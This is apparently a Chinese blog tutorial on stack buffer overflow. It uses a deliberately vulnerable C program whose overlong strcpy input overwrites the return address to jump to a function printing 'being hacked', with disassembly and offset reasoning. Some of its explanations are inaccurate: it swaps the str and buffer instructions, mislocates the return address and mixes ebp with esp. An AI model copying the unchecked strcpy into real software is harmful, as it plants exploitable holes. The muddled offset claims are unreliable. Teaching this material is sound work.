深入理解黑客攻击-缓冲区溢出攻击

缓冲区溢出攻击是利用缓冲区溢出漏洞所进行的攻击行动

如果有人利用栈中分配的缓冲区写溢出,悄悄地将一段恶意代码的首地址

作为返回地址覆盖写到原先的正确的返回地址处。那么程序在执行ret的时候会悄悄地转移到这个恶意代码段处执行

从而可以轻易获得系统特权,进而进行各种非法操作

造成缓冲区溢出的原因就是系统没有对作为缓冲区的数组进行越界检查

给出一段代码

#include <stdio.h>
#include "string.h"


void outputs(char *str)
{
char buffer[16];
strcpy(buffer,str);//str to buffer
printf("%s \n",buffer);
}


void hacker(void)
{
printf("being hacked\n");
}


int main(int argc,char *argv[])
{
outputs("1234567123456712345671234567\xaa\x84\x04\x08");
return 0;
}

main函数调用outputs函数。

通过对main函数进行反汇编,可以得到

Dump of assembler code for function main:
   0x080484be <+0>: push   %ebp
   0x080484bf <+1>: mov    %esp,%ebp
   0x080484c1 <+3>: and    $0xfffffff0,%esp
   0x080484c4 <+6>: sub    $0x10,%esp
   0x080484c7 <+9>: movl   $0x8048584,(%esp)
   0x080484ce <+16>: call   0x804847d <outputs>
   0x080484d3 <+21>: mov    $0x0,%eax
   0x080484d8 <+26>: leave  
   0x080484d9 <+27>: ret  

通过对outputs函数进行反汇编,可以得到

Dump of assembler code for function outputs:
   0x0804847d <+0>: push   %ebp
   0x0804847e <+1>: mov    %esp,%ebp
   0x08048480 <+3>: sub    $0x28,%esp
   0x08048483 <+6>: mov    0x8(%ebp),%eax
   0x08048486 <+9>: mov    %eax,0x4(%esp)
   0x0804848a <+13>: lea    -0x18(%ebp),%eax
   0x0804848d <+16>: mov    %eax,(%esp)
   0x08048490 <+19>: call   0x8048340 <strcpy@plt>
   0x08048495 <+24>: lea    -0x18(%ebp),%eax
   0x08048498 <+27>: mov    %eax,0x4(%esp)
   0x0804849c <+31>: movl   $0x8048570,(%esp)
   0x080484a3 <+38>: call   0x8048330 <printf@plt>
   0x080484a8 <+43>: leave  
   0x080484a9 <+44>: ret 

可以看出,汇编代码

 0x08048490 <+19>: call   0x8048340 <strcpy@plt>

是对应于c代码

strcpy(buffer,str);//str to buffer这一句的

那么str[0]是对应于   0x0804848a <+13>: lea    -0x18(%ebp),%eax这一句的

那么buffer[0]是对应于   0x08048483 <+6>: mov    0x8(%ebp),%eax这一句的

也就是说strcpy(buffer,str);这一条语句,就是将str数组赋值给buffer数组

而ebp+8的地址就是返回地址所在的内存地址的位置

所以我们必须将-0x18(%ebp)到4(%ebp)之间全部填充满

然后4(%ebp)到8(%ebp)填充为我们想要程序返回的地址

这样函数outputs执行完毕以后,就会返回到我们想要返回的地址

通过对hacker进行反汇编

我们得到hacker函数的首地址

如图所示,hacker函数的首地址为0x080484aa

那么我们就把esp+4到esp+8的区间填充为0x080484aa

可以看到,劫持成功了

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值